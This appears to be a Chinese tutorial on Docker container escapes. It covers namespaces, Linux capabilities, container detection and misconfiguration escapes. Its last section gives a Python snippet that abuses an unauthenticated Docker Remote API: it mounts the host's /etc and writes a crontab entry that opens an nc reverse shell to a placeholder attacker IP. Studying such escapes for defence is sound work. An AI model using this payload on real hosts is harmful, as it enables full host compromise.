Docker 逃逸相关总结
1 Docker 核心技术
Docker 是一个开源的应用容器引擎,可以让开发者打包任何应用以及依赖包到容器中,然后发布到任何流行的 Linux 机器上,完美的解决了测试环境与生产环境的某些不一致性问题。相比于传统的虚拟化技术, Docker 容器直接使用宿主机内核,也不存在硬件的虚拟,要轻便许多。
Docker 自出现后便经常与虚拟机做比较,有些人甚至认为 Docker 就是一种虚拟机。虚拟机总的来说是利用 Hypervisor 虚拟出内存、CPU等等。
我们来看一张图:我们把图中的矩形看作一个计算机,内部的圆圈看作一个又一个的进程,它们使用着相同的计算机资源,并且相互之间可以看到。
Docker 做了什么事呢?Docker 给它们加了一层壳,使它们隔离开来,此时它们之间无法相互看到,但是它们仍然运行在刚刚的环境上,使用着与刚刚一样的资源。我们可以理解为,它们与加壳之前的区别就是无法相互交流了。需要说一句的是,这个壳我们可以将它看作一个单向的门,外部可以往内走,但是内部却不能往外走。这在计算机中的意思就是,外部进程可以看到内部进程,但是内部进程却不能看到外部进程。
1.1 namespace
命名空间 (namespaces) 是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法,是内核级别的环境隔离。在实际的运行过程中,多个服务之间的状态或资源是会相互影响的,每一个服务都能看到其它服务的进程,也可以访问宿主机器上的任意文件,而 docker 的目的是同一台机器上的不同服务能做到
完全隔离
,就像运行在多台不同的机器上一样,对此就需要在创建进程的时候指定 namespaces 来实现。
Linux 的命名空间机制提供了以下七种不同的命名空间,包括
CLONE_NEWCGROUP
、
CLONE_NEWIPC
、
CLONE_NEWNET
、
CLONE_NEWNS
、
CLONE_NEWPID
、
CLONE_NEWUSER
和
CLONE_NEWUTS
,通过这七个选项我们能在创建新的进程时设置新进程应该在哪些资源上与宿主机器进行隔离。
由以上可知,Docker 并没有使用任何虚拟化技术,其就是一种隔离技术。如果你对 Linux 命令比较熟悉,甚至可以理解为 Docker 是一种高级的 chroot。
1.2 docker 安全机制
因为 Docker 所使用的是隔离技术,使用的仍然是宿主机的内核、CPU、内存,那会不会带来一些安全问题?答案是肯定的,那 Docker 是怎么防护的?
Docker 的安全机制有很多种:Linux Capability、AppArmor、SELinux、Seccomp 等等,本文主要讲述一下 Linux Capability
因为 Docker 默认对 User Namespace 未进行隔离,在 Docker 内部查看 /etc/passwd 可以看到 uid 为 0,也就是说,Docker 内部的 root 就是宿主机的 root。但是如果你使用一些命令,类似 iptables -L,会提示你权限不足。
这是由 Linux Capability 机制所实现的。自 Linux 内核 2.1 版本后,引入了 Capability 的概念,它打破了操作系统中超级用户/普通用户的概念,由普通用户也可以做只有超级用户可以完成的操作。
Linux Capability 一共有 38 种,分别对应着一些系统调用,Docker 默认只开启了 14 种。这样就避免了很多安全的问题。熟悉 Docker 操作的人应该可以意识到,在开启 Docker 的时候可以加一个参数是
--privileged=true
,这样就相当于开启了所有的 Capability。使用 docker inspect {container.id} 在 CapAadd 项里可以看到添加的 capability。
2 判断是否在 Docker 容器中
首先,我们需要先判断是否在 Docker 环境里,常用的两个检测方式:
检查
/.dockerenv
文件是否存在
检查
/proc/1/cgroup
内是否包含 Docker 等字符串。
目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mount、fdisk -l 查看硬盘 、判断 PID 1 的进程名等也可用来辅助判断。
3 配置不当引发 Docker 逃逸
3.1 Docker Remote API 未授权访问
漏洞简述:Docker Remote API 可以执行 Docker 命令,Docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 Docker。
利用方法是,我们随意启动一个容器,并将宿主机的
/etc
目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入 crontab 配置文件,进行反弹 shell。
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})